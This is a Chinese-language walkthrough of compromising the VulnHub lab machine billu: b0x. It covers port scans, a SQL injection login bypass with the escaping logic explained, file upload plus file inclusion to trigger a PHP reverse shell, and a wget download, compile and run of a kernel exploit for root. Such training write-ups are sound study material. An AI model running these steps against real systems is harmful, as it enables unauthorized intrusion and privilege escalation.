靶机 build_b0x (vulnhub)

billu: b0x ~ VulnHub

导入时需要注意:MAC地址需要全选,不然发现不了IP

1.主机发现

arp-scan -l

2.端口扫描

nmap -p- 192.168.56.107 
nmap -p22,80 -sV -sC 192.168.56.107 
直接nmap -A 192.168.56.107 也是可以的

22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: --==[[IndiShell Lab]]==--
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)

3.漏洞发现

SQL注入

进去网页一眼看出SQL注入。那就尝试下万能密码,不行直接上工具爆破

使用kali的字典:

payload1 选择/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt文件,payload2 选择 burp自带的字典Fuzzing - SQL injection

 

然后我们筛选下结果:

 

文件上传

只能先这么上传了。这样也没法利用。因为不能解析,看看存不存在文件包含漏洞

 路径很容易找

目录扫描

dirsearch -u http://192.168.56.107
发现了add.php 就是文件上传的功能

 

为什么还单独搞一个add.php 呢。难道包含文件了吗,我们点add user 抓包查看下:

从这里看到抓包显示了add这个参数,那我们去测试下是否包含文件了

但是经过我们的测试,无法进行包含我们的png文件

4.反弹shell

那我们换种木马进行测试:使用反弹shell木马

使用kali下的/usr/share/webshells/php/php-reverse-shell.php,用于nc反弹shell。修改下配置

 

跟上次上传的方法一样:kali上监听端口,然后这里利用文件包含执行

 

成功反弹shell,升级shell

5.提权

查看系统版本:3.13.0

kali查漏洞

searchsploit 3.13.0

把文件弄出来,改个名方便操作,开启http服务在靶机下载文件

下载文件:注意开放的端口
wget http://192.168.56.102:8000/exp.c
gcc exp.c -o exp      //编译
chmod +x exp
./exp


另一种方法

还记得在目录扫描时发现了test.php吗。打开内容很明显,测试下但是没用,抓包看一下

建议以后GET请求转POST请求的包时,先发GET然后直接在burp中使用

我手动添加请求测试了很多次都不行,最后把整个GET请求的包转换才没问题

 

通过观察发现这里似乎更像是文件读取

还可以分析下sql语句:转义  \  为  空格
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
语句可以转换为
$run='select * from auth where  pass=''.$pass.'' and uname=''.$uname.''';
$run='select * from auth where  pass='pass' and uname='uname'';
我们在pass中输入的是  \   那么带进去也就是   ' \'  ==》 ' '
我们在uname中输入的是  or 1=1 #   带进去   ' or 1=1 # ''    #后面注释掉
$run='select * from auth where  pass=' ' and uname='  or 1=1#

所以上面的sql语句就是闭合的 但是后面的 or 1=1 # 是永真的

继续访问文件:

 

目录扫描得到的phpmy目录就是数据库管理界面

也能发现登录密码

 

继续目录扫描:看看有什么把

dirsearch -u  http://192.168.56.107/phpmy/

 再利用漏洞读文件:

看着像系统密码:本机还开启了ssh服务。直接测试下

ssh root@192.168.56.107

出现报错是因为上次连接过但是而且与上次记录的不同,使用

ssh-keygen -R 192.168.56.107

这样就结束了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值